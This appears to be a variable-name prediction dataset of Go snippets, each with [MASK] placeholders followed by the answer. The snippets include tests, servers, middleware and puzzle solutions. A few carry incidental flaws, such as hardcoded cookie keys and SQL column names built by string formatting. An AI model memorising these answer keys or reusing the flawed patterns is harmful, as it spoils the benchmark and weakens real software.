onErrorTimes := 0 onOpenTimes := 0 successTask := func() error { successTimes++ return nil } failureTask := func() error { return errors.New(""on purpose"") } onError := func(err error) { onErrorTimes++ } onOpen := func() { onOpenTimes++ } cb.Do(successTask, onError, onOpen) cb.Do(failureTask, onError, onOpen) if got, want := successTimes, 1; got != want { t.Errorf(""successTimes = %v, want %v"", got, want) } if got, want := onErrorTimes, 1; got != want { t.Errorf(""onErrorTimes = %v, want %v"", got, want) } if got, want := onOpenTimes, 0; got != want { t.Errorf(""onOpenTimes = %v, want %v"", got, want) } }) t.Run(""failure(open), success(open)"", func(t *testing.T) { cb := &SyncCircuitBreaker{ lastFailureTs: 0, failures: 0, failureThreshold: 1, resetTimeout: 1000, nowFn: gtime.FixedNow(nowTs), } successTimes := 0 onErrorTimes := 0 onOpenTimes := 0 successTask := func() error { successTimes++ return nil } failureTask := func() error { return errors.New(""on purpose"") } onError := func(err error) { onErrorTimes++ } onOpen := func() { onOpenTimes++ } cb.Do(failureTask, onError, onOpen) cb.Do(successTask, onError, onOpen) if got, want := successTimes, 0; got != want { t.Errorf(""successTimes = %v, want %v"", got, want) } if got, want := onErrorTimes, 1; got != want { t.Errorf(""onErrorTimes = %v, want %v"", got, want) } if got, want := onOpenTimes, 1; got != want { t.Errorf(""onOpenTimes = %v, want %v"", got, want) } }) t.Run(""failure(open), reset timeout, success(close)"", func(t *testing.T) { cb := &SyncCircuitBreaker{ lastFailureTs: 0, failures: 0, failureThreshold: 1, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), } successTimes := 0 onErrorTimes := 0 onOpenTimes := 0 successTask := func() error { successTimes++ return nil } failureTask := func() error { return errors.New(""on purpose"") } onError := func(err error) { onErrorTimes++ } onOpen := func() { onOpenTimes++ } cb.Do(failureTask, onError, onOpen) cb.nowFn = gtime.FixedNow(nowTs.Add(time.Nanosecond * 100)) // mock reset timeout cb.Do(successTask, onError, onOpen) if got, want := successTimes, 1; got != want { t.Errorf(""successTimes = %v, want %v"", got, want) } if got, want := onErrorTimes, 1; got != want { t.Errorf(""onErrorTimes = %v, want %v"", got, want) } if got, want := onOpenTimes, 0; got != want { t.Errorf(""onOpenTimes = %v, want %v"", got, want) } }) } func TestSyncCircuitBreaker_recordFailure(t *testing.T) { t.Run("""", func(t *testing.T) { cb := &SyncCircuitBreaker{ lastFailureTs: 10, failures: 5, nowFn: gtime.FixedNow(nowTs), } cb.recordFailure() if cb.failures != 6 { t.Errorf(""failures = %v, want %v"", cb.failures, 6) } if cb.lastFailureTs == 10 { t.Errorf(""lastFailureTs = %v, want neq %v"", cb.lastFailureTs, 10) } }) } func TestSyncCircuitBreaker_reset(t *testing.T) { t.Run("""", func(t *testing.T) { cb := &SyncCircuitBreaker{ lastFailureTs: 10, failures: 5, } cb.reset() if cb.failures != 0 { t.Errorf(""failures = %v, want %v"", cb.failures, 0) } if cb.lastFailureTs != 0 { t.Errorf(""lastFailureTs = %v, want %v"", cb.lastFailureTs, 0) } }) } func TestSyncCircuitBreaker_state(t *testing.T) { type fields struct { failureThreshold int lastFailureTs int64 failures int resetTimeout int64 nowFn gtime.NowFunc } [MASK] := []struct { name string fields fields want state }{ { name: ""failureThreshold:0, failures:0, not reach resetTimeout"", fields: fields{ failureThreshold: 0, lastFailureTs: nowTs.UnixNano() - 1, failures: 0, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: open, }, { name: ""failureThreshold:0, failures:0, reach resetTimeout"", fields: fields{ failureThreshold: 0, lastFailureTs: nowTs.UnixNano() - 11, failures: 0, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: halfOpen, }, { name: ""failureThreshold:1, failures:1, not reach resetTimeout"", fields: fields{ failureThreshold: 1, lastFailureTs: nowTs.UnixNano() - 1, failures: 1, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: open, }, { name: ""failureThreshold:1, failures:1, reach resetTimeout"", fields: fields{ failureThreshold: 1, lastFailureTs: nowTs.UnixNano() - 11, failures: 1, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: halfOpen, }, { name: ""failureThreshold:1, failures:2, not reach resetTimeout"", fields: fields{ failureThreshold: 1, lastFailureTs: nowTs.UnixNano() - 1, failures: 2, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: open, }, { name: ""failureThreshold:1, failures:2, reach resetTimeout"", fields: fields{ failureThreshold: 1, lastFailureTs: nowTs.UnixNano() - 11, failures: 2, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: halfOpen, }, { name: ""failureThreshold:1, failures:0"", fields: fields{ failureThreshold: 1, lastFailureTs: 0, failures: 0, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: closed, }, { name: ""failureThreshold:2, failures:1"", fields: fields{ failureThreshold: 2, lastFailureTs: nowTs.UnixNano(), failures: 1, resetTimeout: 10, nowFn: gtime.FixedNow(nowTs), }, want: closed, }, } for _, tt := range [MASK] { t.Run(tt.name, func(t *testing.T) { s := &SyncCircuitBreaker{ failureThreshold: tt.fields.failureThreshold, lastFailureTs: tt.fields.lastFailureTs, failures: tt.fields.failures, resetTimeout: tt.fields.resetTimeout, nowFn: tt.fields.nowFn, } if got := s.state(); got != tt.want { t.Errorf(""state() = %v, want %v"", got, tt.want) } }) } } ",tests 414,"package main import ( ""net/http"" ""os"" ""math/rand"" ""time"" ""github.com/Sirupsen/logrus"" ""github.com/rancher/stress-tests/chatty-cow/moo"" ""github.com/urfave/cli"" ) var VERSION = ""v0.0.0-dev"" func main() { app := cli.NewApp() app.Name = ""chatty-cow"" app.Version = VERSION app.Usage = ""Talks to other chatty cows and reports the health of its conversations."" app.Action = run app.Run(os.Args) } func run(c *cli.Context) error { rand.Seed(time.Now().UnixNano()) [MASK] := c.Int64(""moo-interval"") if [MASK] == 0 { [MASK] = 1 } if c.Bool(""debug"") { logrus.SetLevel(logrus.DebugLevel) } herd := c.String(""herd"") if herd == """" { herd = ""chatty-cow"" } cow, err := moo.CreateCow(herd, [MASK] ) if err != nil { logrus.Fatalf(""Unrecoverable error: %v"", err) } s := server{ cow: cow, } http.HandleFunc(""/healthcheck"", s.healthcheck) http.HandleFunc(""/moo"", s.mooHandler) go http.ListenAndServe("":80"", nil) err = cow.StartMooing() return err } type server struct { cow *moo.Mooer } func (s *server) mooHandler(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) } func (s *server) healthcheck(w http.ResponseWriter, r *http.Request) { if s.cow.IsHappyCow() { logrus.Infof(""Healthcheck reply 200"") w.WriteHeader(200) return } logrus.Infof(""Healthcheck reply 500"") w.WriteHeader(500) } ",mooInterval 415,"package middleware import ( ""net/http"" ""strings"" ""time"" ""github.com/fs714/go-proj-boot/pkg/utils/jwt_util"" ""github.com/fs714/go-proj-boot/pkg/utils/log"" ""github.com/gin-gonic/gin"" ""github.com/golang-jwt/jwt/v4"" ""github.com/gorilla/securecookie"" ""github.com/pkg/errors"" ) var ( hashKey = []byte(""a719b51e882d2992"") blockKey = []byte(""b69e3a9ac3a3f65f"") sc = securecookie.New(hashKey, blockKey) ) func JwtAuth() gin.HandlerFunc { return func(c *gin.Context) { j := jwt_util.NewJwtUtil() token, err := tokenFromCookie(c, j.CookieName, j.SecurityCookie) if err != nil { errMsg := ""failed to get token from cookie"" log.Errorf(errMsg+"":%+v"", err) c.JSON(http.StatusUnauthorized, gin.H{ ""code"": http.StatusUnauthorized, ""msg"": errMsg, ""data"": """", }) c.Abort() return } claims, err := j.ParseToken(token) if err != nil { errMsg := ""failed to parse token"" log.Errorf(errMsg+"":%+v"", err) c.JSON(http.StatusUnauthorized, gin.H{ ""code"": http.StatusUnauthorized, ""msg"": errMsg, ""data"": """", }) c.Abort() return } if claims.ExpiresAt.Unix()-time.Now().Unix() < int64(j.BufferTime) { claims.ExpiresAt = jwt.NewNumericDate(time.Now().Add(time.Duration(j.ExpiresTime) * time.Second)) newToken, _ := j.CreateTokenByOldToken(token, *claims) err = tokenToCookie(c, j, newToken) if err != nil { errMsg := ""failed to set token to cookie"" log.Errorf(errMsg+"":%+v"", err) c.JSON(http.StatusUnauthorized, gin.H{ ""code"": http.StatusUnauthorized, ""msg"": errMsg, ""data"": """", }) c.Abort() return } } c.Set(""claims"", claims) c.Next() } } var ( EmptyTokenFromCookie = errors.New(""empty token from cookie"") EmptyTokenFromHeader = errors.New(""empty token from header"") EmptyTokenFromQuery = errors.New(""empty token from query"") InvalidTokenHeader = errors.New(""invalid token header"") ) func tokenFromCookie(c *gin.Context, cookieName string, secureCookie bool) (string, error) { cookie, err := c.Cookie(cookieName) if err != nil { return """", errors.Wrapf(err, ""failed to get cookie: %s"", cookieName) } if cookie == """" { return """", EmptyTokenFromCookie } if secureCookie { var decodedCookie string err = sc.Decode(cookieName, cookie, &decodedCookie) if err != nil { return """", errors.Wrapf(err, ""failed to decode token for cookie: %s"", cookieName) } cookie = decodedCookie } return cookie, nil } func tokenToCookie(c *gin.Context, j *jwt_util.JwtUtil, token string) error { if j.SecurityCookie { encodedToken, err := sc.Encode(j.CookieDomain, token) if err != nil { return errors.Wrapf(err, ""failed to encode token for cookie: %s"", j.CookieName) } c.SetCookie( j.CookieName, encodedToken, j.ExpiresTime, j.CookiePath, j.CookieDomain, false, true, ) return nil } else { c.SetCookie( j.CookieName, token, j.ExpiresTime, j.CookiePath, j.CookieDomain, false, true, ) return nil } } // Authorization:Bearer xxxxxxxxx, headerName is Authorization, tokenHeaderName is Bearer func tokenFromHeader(c *gin.Context, headerName string, tokenHeaderName string) (string, error) { authHeader := c.Request.Header.Get(headerName) if authHeader == """" { return """", EmptyTokenFromHeader } parts := strings.SplitN(authHeader, "" "", 2) if !(len(parts) == 2 && parts[0] == tokenHeaderName) { return """", InvalidTokenHeader } return parts[1], nil } func tokenFromQuery(c *gin.Context, [MASK] string) (string, error) { token := c.Query( [MASK] ) if token == """" { return """", EmptyTokenFromQuery } return token, nil } ",queryName 416,"package main import ( ""runtime"" ""io"" ""bufio"" ""fmt"" ""os"" ""gsf/tcp"" ) func printStack() { var buf [4096]byte n := runtime.Stack(buf[:], false) os.Stdout.Write(buf[:n]) } type MsgParse struct { } func (mp MsgParse) Read( [MASK] io.Reader) (interface{}, error) { br := bufio.NewReader( [MASK] ) line, _, err := br.ReadLine() if err == io.EOF && line != nil{ return line, nil } return line, err } func (mp MsgParse) Write(msg interface{}, writer io.Writer) error { if s,ok := msg.([]byte); ok { s = append(s, '\n') _,err := writer.Write(s) return err } return nil } // 用户 type User struct { session *tcp.TCPSession // 对应会话 name string // 名称 } var UserMap = make(map[string]User) func main() { listener, err := tcp.NewTCPListener("":9001"", func(session *tcp.TCPSession) { session.MsgParse = MsgParse{} session.ErrorHandler = func(session *tcp.TCPSession, err error) { fmt.Println(""session closed,"", session.Id, err) } session.MsgHandler = func(session *tcp.TCPSession, msg interface{}) { if s,ok := msg.([]byte); ok { fmt.Println(""session recv:"", session.Id, s) // session.Write(msg) for _, s := range tcp.SessionMap { s.Write(msg) } } } session.Start() }) listener.Start() if err != nil { fmt.Println(err) } tcp.Run() } ",reader 417,"package main import ( ""flag"" ""fmt"" ""github.com/gleanerio/gleaner/internal/check"" ""github.com/gleanerio/gleaner/internal/config"" ""github.com/gleanerio/gleaner/pkg"" log ""github.com/sirupsen/logrus"" ""os"" ""path/filepath"" ""github.com/spf13/viper"" bolt ""go.etcd.io/bbolt"" ""github.com/gleanerio/gleaner/internal/common"" ""github.com/gleanerio/gleaner/internal/objects"" ) var viperVal, sourceVal, modeVal, logVal string var setupVal, rudeVal bool // pass -ldflags ""-X main.version=testline"" // go build -ldflags ""-X main.version=testline"" main.go var VERSION string func init() { // Output to stdout instead of the default stderr. Can be any io.Writer, see below for File example fmt.Println(""version: "", VERSION) common.InitLogging() //// name the file with the date and time //const layout = ""2006-01-02-15-04-05"" //t := time.Now() //lf := fmt.Sprintf(""gleaner-%s.log"", t.Format(layout)) // //LogFile := lf // log to custom file //logFile, err := os.OpenFile(LogFile, os.O_APPEND|os.O_RDWR|os.O_CREATE, 0644) //if err != nil { // log.Panic(err) //} // //log.SetFormatter(&log.JSONFormatter{}) // Log as JSON instead of the default ASCII formatter. //log.SetReportCaller(true) // include file name and line number //mw := io.MultiWriter(os.Stdout, logFile) //log.SetOutput(mw) flag.BoolVar(&setupVal, ""setup"", false, ""Run Gleaner configuration check and exit"") flag.StringVar(&sourceVal, ""source"", """", ""Override config file source(s) to specify an index target"") flag.BoolVar(&rudeVal, ""rude"", false, ""Ignore any robots.txt crawl delays or allow / disallow statements"") flag.StringVar(&viperVal, ""cfg"", ""config"", ""Configuration file (can be YAML, JSON) Do NOT provide the extension in the command line. -cfg file not -cfg file.yml"") flag.StringVar(&modeVal, ""mode"", ""full"", ""Set the mode (full | diff) to index all or just diffs"") flag.StringVar(&logVal, ""log"", ""warn"", ""The log level to output (trace | debug | info | warn | error | fatal)"") } func main() { fmt.Println(""EarthCube Gleaner"") flag.Parse() // parse any command line flags... [MASK] , err := log.ParseLevel(logVal) if err != nil { log.Fatal(""invalid log level:"", err.Error()) } log.SetLevel( [MASK] ) // BEGIN profile section // Profiling code (comment out for release builds) //defer profile.Start().Stop() // cpu //defer profile.Start(profile.MemProfile).Stop() // memory // Tracing code to use with go tool trace //f, err := os.Create(""trace.out"") //if err != nil { //panic(err) //} //defer f.Close() //err = trace.Start(f) //if err != nil { //panic(err) //} //defer trace.Stop() // END profile section var v1 *viper.Viper // Load the config file and set some defaults (config overrides) if isFlagPassed(""cfg"") { //v1, err = readConfig(viperVal, map[string]interface{}{}) v1, err = config.ReadGleanerConfig(filepath.Base(viperVal), filepath.Dir(viperVal)) if err != nil { log.Fatal(""error when reading config:"", err) } } else { log.Error(""Gleaner must be run with a config file: -cfg CONFIGFILE"") flag.Usage() os.Exit(0) } // read config file for minio info (need the bucket to check existence ) //miniocfg := v1.GetStringMapString(""minio"") //bucketName := miniocfg[""bucket""] // get the top level bucket for all of gleaner operations from config file //bucketName, err := configTypes.GetBucketName(v1) // Remove all source EXCEPT the one in the source command lind if isFlagPassed(""source"") { tmp := []objects.Sources{} // tmp slice to hold our desired source var domains []objects.Sources err := v1.UnmarshalKey(""sources"", &domains) if err != nil { log.Warn(err) } for _, k := range domains { if sourceVal == k.Name { tmp = append(tmp, k) } } if len(tmp) == 0 { log.Error(""CAUTION: no matching source, did your -source VALUE match a sources.name VALUE in your config file?"") os.Exit(0) } configMap := v1.AllSettings() delete(configMap, ""sources"") v1.Set(""sources"", tmp) if rudeVal { v1.Set(""rude"", true) } } else if rudeVal { log.Error(""--rude can only be used with --source, not globally."") } // Parse a new mode entry from command line if present if isFlagPassed(""mode"") { m := v1.GetStringMap(""summoner"") m[""mode""] = modeVal v1.Set(""summoner"", m) } // Set up the minio connector mc := common.MinioConnection(v1) // If requested, set up the buckets if setupVal { log.Info(""Setting up buckets"") //err := check.MakeBuckets(mc, bucketName) err = check.Setup(mc, v1) if err != nil { log.Fatal(""Error making buckets for setup call"") } log.Info(""Buckets generated. Object store should be ready for runs"") os.Exit(0) } // Validate Minio access err = check.PreflightChecks(mc, v1) if err != nil { log.Fatal(""Preflight Check failed. Make sure the minio server is running, accessible and has been setup."", err) } //err = check.ConnCheck(mc) //if err != nil { // log.Printf(""Connection issue, make sure the minio server is running and accessible. %s "", err) // os.Exit(1) //} // //// Check our bucket is ready //err = check.Buckets(mc, bucketName) //if err != nil { // log.Printf(""Can not find bucket. %s "", err) // os.Exit(1) //} // setup the KV store to hold a record of indexed resources db, err := bolt.Open(""gleaner.db"", 0600, nil) if err != nil { log.Fatal(err) } defer db.Close() // Defer a function to be called on successful ending. Note, if gleaner crashes, this will NOT // get called, do consideration must be taken in such a cases. Some errors in such cases should // be sent to stdout to be captured by docker, k8s, Airflow etc in case they are being used. defer func() { fmt.Println(""Calling cleanUp on a successful run"") cleanUp() }() //cli(mc, v1, db) pkg.Cli(mc, v1, db) // move to a common call in batch.go } func cleanUp() { // copy log to s3 logs prefix (make sure log files are unique by time or other) fmt.Println(""On success, will, if flagged, copy the log file to object store and delete it"") } func isFlagPassed(name string) bool { found := false flag.Visit(func(f *flag.Flag) { if f.Name == name { found = true } }) return found } ",lvl 418,"package gorm_advanced_filter import ( ""encoding/json"" ""fmt"" ""gorm.io/gorm"" ""gorm.io/gorm/clause"" ""reflect"" ""strings"" ) type Clause struct { Column string `json:""column""` FunctionName string `json:""function_name""` Value string `json:""value""` Operator string `json:""operator""` Group []*Clause `json:""group""` } type Filter struct { query *gorm.DB encoded []*Clause } func (filter *Filter) Contains(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""Contains"", Value: value, Operator: operator, }) return filter.parse(""%%""+value+""%%"", column, ""LIKE"", operator) } func (filter *Filter) DoesNotContains(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""DoesNotContains"", Value: value, Operator: operator, }) return filter.parse(""%%""+value+""%%"", column, ""NOT LIKE"", operator) } func (filter *Filter) Is(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""Is"", Value: value, Operator: operator, }) return filter.parse(value, column, ""="", operator) } func (filter *Filter) IsNot(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""IsNot"", Value: value, Operator: operator, }) return filter.parse(value, column, ""!="", operator) } func (filter *Filter) StartWith(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""StartWith"", Value: value, Operator: operator, }) return filter.parse(value+""%%"", column, ""LIKE"", operator) } func (filter *Filter) EndWith(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""EndWith"", Value: value, Operator: operator, }) return filter.parse(""%%""+value, column, ""LIKE"", operator) } func (filter *Filter) Equal(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""Equal"", Value: value, Operator: operator, }) return filter.Is(value, column, operator) } func (filter *Filter) NotEqual(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""NotEqual"", Value: value, Operator: operator, }) return filter.parse(value, column, ""<>"", operator) } func (filter *Filter) LessThan(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""LessThan"", Value: value, Operator: operator, }) return filter.parse(value, column, ""<"", operator) } func (filter *Filter) MoreThan(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""MoreThan"", Value: value, Operator: operator, }) return filter.parse(value, column, "">"", operator) } func (filter *Filter) LessThanEqual(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""LessThanEqual"", Value: value, Operator: operator, }) return filter.parse(value, column, ""<="", operator) } func (filter *Filter) MoreThanEqual(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""MoreThanEqual"", Value: value, Operator: operator, }) return filter.parse(value, column, "">="", operator) } func (filter *Filter) At(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""At"", Value: value, Operator: operator, }) return filter.parse(fmt.Sprintf(""%s"", value), fmt.Sprintf(""%s"", column), ""="", operator) } func (filter *Filter) Before(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""Before"", Value: value, Operator: operator, }) return filter.parse(fmt.Sprintf(""%s"", value), fmt.Sprintf(""%s"", column), ""<"", operator) } func (filter *Filter) After(value, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""After"", Value: value, Operator: operator, }) return filter.parse(fmt.Sprintf(""%s"", value), fmt.Sprintf(""%s"", column), "">"", operator) } func (filter *Filter) Between(start, end, column, operator string) *Filter { filter.encoded = append(filter.encoded, &Clause{ Column: column, FunctionName: ""Between"", Value: fmt.Sprintf(""%s:%s"", start, end), Operator: operator, }) if strings.ToLower(operator) == ""or"" { filter.query = filter.query.Or(fmt.Sprintf(""%s BETWEEN ? AND ?"", column), start, end) } else { filter.query = filter.query.Where(fmt.Sprintf(""%s BETWEEN ? AND ?"", column), start, end) } return filter } func (filter *Filter) parse(value, column, expression, operator string) *Filter { if strings.ToLower(operator) == ""or"" { filter.query = filter.query.Or(fmt.Sprintf(""%s %s ?"", column, expression), value) } else { filter.query = filter.query.Where(fmt.Sprintf(""%s %s ?"", column, expression), value) } return filter } func (filter *Filter) ToSql() *gorm.DB { return filter.query } func (filter *Filter) Clear() *Filter { filter.query.Statement.Clauses = map[string]clause.Clause{} filter.encoded = nil return filter } func (filter *Filter) Build() string { jsonFilter, _ := json.Marshal(filter.encoded) return string(jsonFilter) } func Parse(db *gorm.DB, input string) (*Filter, error) { filter := MakeGormAdvancedFilter(db) var [MASK] []*Clause // Total 15 functions functions := map[string]interface{}{ ""Contains"": filter.Contains, ""DoesNotContains"": filter.DoesNotContains, ""Is"": filter.Is, ""IsNot"": filter.IsNot, ""StartWith"": filter.StartWith, ""EndWith"": filter.EndWith, ""Equal"": filter.Equal, ""NotEqual"": filter.NotEqual, ""LessThan"": filter.LessThan, ""MoreThan"": filter.MoreThan, ""LessThanEqual"": filter.LessThanEqual, ""MoreThanEqual"": filter.MoreThanEqual, ""At"": filter.At, ""Before"": filter.Before, ""After"": filter.After, ""Between"": filter.Between, } if err := json.Unmarshal([]byte(input), & [MASK] ); err != nil { return nil, err } for _, filterClause := range [MASK] { var params []string if filterClause.FunctionName == ""Between"" { args := strings.Split(filterClause.Value, "":"") params = append(params, args[0], args[1], filterClause.Column, filterClause.Operator) } else { params = append(params, filterClause.Value, filterClause.Column, filterClause.Operator) } function := reflect.ValueOf(functions[filterClause.FunctionName]) input := make([]reflect.Value, len(params)) for key, param := range params { input[key] = reflect.ValueOf(param) } function.Call(input) } return filter, nil } func MakeGormAdvancedFilter(db *gorm.DB) *Filter { return &Filter{ query: db, } } ",encodedData 419,"// Copyright (c) 2019 Red Hat and/or its affiliates. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at: // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Main package for the Nimbess agent executable. package main import ( ""context"" ""flag"" ""fmt"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/tools/clientcmd"" ""path/filepath"" log ""github.com/sirupsen/logrus"" ""io"" ""os"" ""sync"" ""github.com/nimbess/nimbess-agent/pkg/agent"" ""github.com/nimbess/nimbess-agent/pkg/agent/config"" ""github.com/nimbess/nimbess-agent/pkg/drivers"" ""github.com/nimbess/nimbess-agent/pkg/drivers/bess"" ""github.com/nimbess/nimbess-agent/pkg/etcdv3"" ) const ( // LogFile holds the name of Nimbess Agent log file LogFile = ""nimbess-agent.log"" // LogDir is the default path for Agent logging LogDir = ""/var/log/nimbess"" // ConfigFile holds the default path to the Nimbess Agent configuration file ConfigFile = ""/etc/nimbess/agent/agent.yaml"" ) // Returns a configured driver object func selectDriver(conf *config.NimbessConfig) drivers.Driver { driverConfig := drivers.DriverConfig{ NetworkMode: conf.Driver, MacLearn: conf.MacLearn, TunnelMode: conf.TunnelMode, FIBSize: conf.FIBSize, Port: conf.DataPlanePort, WorkerCores: conf.WorkerCores, } switch conf.DataPlane { case config.BESS: // TODO (FIXME) Just use background context for now driver := bess.NewDriver(driverConfig, context.Background()) //driver := &bess.Driver{DriverConfig: driverConfig, Context: context.Background()} log.Infof(""Driver loaded %+v"", driver) return driver default: log.Fatalf(""Invalid driver: %s"", conf.Driver) } return nil } // getK8SClient builds and returns a Kubernetes client. func getK8SClient(kubeconfig string) (kubernetes.Interface, error) { // Build the kubeconfig. if kubeconfig == """" { log.Info(""Using inClusterConfig"") } k8sConfig, err := clientcmd.BuildConfigFromFlags("""", kubeconfig) if err != nil { return nil, fmt.Errorf(""failed to build kubeconfig: %s"", err) } // Get Kubernetes clientset. k8sClientset, err := kubernetes.NewForConfig(k8sConfig) if err != nil { return nil, fmt.Errorf(""failed to build kubernetes clientset: %s"", err) } return k8sClientset, nil } func main() { // Determine Agent configuration confFile := flag.String(""config-file"", ConfigFile, ""Nimbess Agent config file path"") logDir := flag.String(""log-dir"", LogDir, ""Logging directory path"") flag.Parse() if _, err := os.Stat(*logDir); os.IsNotExist(err) { _ = os.Mkdir(*logDir, 0644) } logFile, e := os.OpenFile(filepath.Join(*logDir, LogFile), os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644) if e != nil { panic(e) } mw := io.MultiWriter(os.Stdout, logFile) log.SetOutput(mw) // TODO make this log level configurable log.SetLevel(log.DebugLevel) log.SetReportCaller(true) nimbessConfig := config.InitConfig(*confFile) driver := selectDriver(nimbessConfig) // Create Pipeline map of per port pipelines nimbessPipelineMap := make(map[string]*agent.NimbessPipeline) [MASK] := make(map[string]*agent.NimbessPipeline) // get k8s client for annotating pods k8sClient, err := getK8SClient(nimbessConfig.Kubeconfig) if err != nil { log.WithError(err).Fatal(""Failed to get k8s client api"") } // get etcd client etcdClient, err := etcdv3.New(nimbessConfig) if err != nil { log.Fatalf(""failed to get etcd client: %v"", err) } // Create and Start agent nimbessAgent := agent.NimbessAgent{Mu: &sync.Mutex{}, Config: nimbessConfig, Driver: driver, KubeClient: k8sClient, Pipelines: nimbessPipelineMap, MetaPipelines: [MASK] , EtcdClient: etcdClient, EtcdContext: context.Background(), } if err := nimbessAgent.Init(); err != nil { log.Fatalf(""Failed to initialize Nimbess Agent: %v"", err) } if err := nimbessAgent.Run(); err != nil { log.Fatalf(""Nimbess Agent has died: %v"", err) } } ",metaPipelineMap 420,"package main import ( ""bufio"" ""fmt"" ""log"" ""os"" ""regexp"" ) func main() { if len(os.Args) != 2 { log.Fatalf(""expected 1 arg, was %d"", len(os.Args)-1) } file, err := os.Open(os.Args[1]) if err != nil { log.Fatal(err) } defer func() { err := file.Close() if err != nil { log.Fatal(err) } }() [MASK] := make(map[int32]int) [MASK] [')'] = 3 [MASK] [']'] = 57 [MASK] ['}'] = 1197 [MASK] ['>'] = 25137 scanner := bufio.NewScanner(file) score := 0 for scanner.Scan() { line := scanner.Text() match, err := regexp.MatchString(""[\\(\\[\\{<\\)\\]\\}>]+"", line) if err != nil { log.Fatal(err) } if !match { log.Fatalf(""expected line to match [\\(\\[\\{<\\)\\]\\}>]+ but was %s"", line) } var stack []int32 for _, c := range line { if c == '(' || c == '[' || c == '{' || c == '<' { stack = append(stack, c) continue } if len(stack) == 0 { log.Fatalf(""expected non-empty stack"") } if c == ')' && stack[len(stack)-1] == '(' { stack = stack[:len(stack)-1] } else if c == ']' && stack[len(stack)-1] == '[' { stack = stack[:len(stack)-1] } else if c == '}' && stack[len(stack)-1] == '{' { stack = stack[:len(stack)-1] } else if c == '>' && stack[len(stack)-1] == '<' { stack = stack[:len(stack)-1] } else { fmt.Println(line) score += [MASK] [c] break } } } fmt.Println(score) } ",scores 421,"package day1 import ( ""strconv"" ) type Part1 struct { lines []string value int } func NewPart1(lines []string) *Part1 { p := Part1{ lines: lines, value: 0, } return &p } func (p *Part1) Lines() []string { return p.lines } func (p *Part1) Value() int { return p.value } func (p *Part1) Solve() { for _, line := range p.lines { p.value += extractCalibrationValue(line, false) } } type Part2 struct { lines []string value int } func NewPart2(lines []string) *Part2 { p := Part2{ lines: lines, value: 0, } return &p } func (p *Part2) Lines() []string { return p.lines } func (p *Part2) Value() int { return p.value } func (p *Part2) Solve() { for _, line := range p.lines { p.value += extractCalibrationValue(line, true) } } func extractCalibrationValue(input string, includeSpelled bool) int { value := 0 var digits []int // iterate through and store digits for i := 0; i < len(input); i++ { if digit, isDigit := isDigit((input)[i]); isDigit { digits = append(digits, digit) } if includeSpelled { if digit, isDigit := isSpelledDigit(input, i); isDigit { digits = append(digits, digit) } } } // assemble calibration value value += digits[0] * 10 value += digits[len(digits)-1] return value } func isDigit(char byte) (int, bool) { if char >= byte('1') && char <= byte('9') { digit, err := strconv.Atoi(string(char)) if err != nil { panic(err) // Highly unlikely in these contrived examples! } return digit, true } return 0, false } func isSpelledDigit(input string, index int) (digit int, result bool) { [MASK] := input[index:] numChars := len(input) - index // this is brute-forced and not super elegant, // but I'm not convinced making it fancier is any better switch { case numChars < 3: return 0, false case [MASK] [:3] == ""one"": return 1, true case [MASK] [:3] == ""two"": return 2, true case numChars >= 5 && [MASK] [:5] == ""three"": return 3, true case numChars >= 4 && [MASK] [:4] == ""four"": return 4, true case numChars >= 4 && [MASK] [:4] == ""five"": return 5, true case [MASK] [:3] == ""six"": return 6, true case numChars >= 5 && [MASK] [:5] == ""seven"": return 7, true case numChars >= 5 && [MASK] [:5] == ""eight"": return 8, true case numChars >= 4 && [MASK] [:4] == ""nine"": return 9, true } return 0, false } ",chars 422,"package config import ( ""fmt"" ""github.com/AlyxPink/docker-hub-cli/internal/config/locales"" ""github.com/AlyxPink/docker-hub-cli/internal/ui/styles"" ) type ViewType string const ( ExploreView ViewType = ""explore"" MyReposView ViewType = ""my_repos"" MyOrgsView ViewType = ""my_orgs"" ) type ViewConfig struct { Title string Type ViewType } type PreviewConfig struct { Open bool Width int } type Defaults struct { Preview PreviewConfig View ViewType } type Keybinding struct { Key string Command string } type Config struct { Views []ViewConfig Defaults Defaults } func GetDefaultConfig() Config { [MASK] := locales.NewLocales() explore_title := [MASK] .L(""tab_explore_title"") my_repos_title := [MASK] .L(""tab_my_repos_title"") my_orgs_title := [MASK] 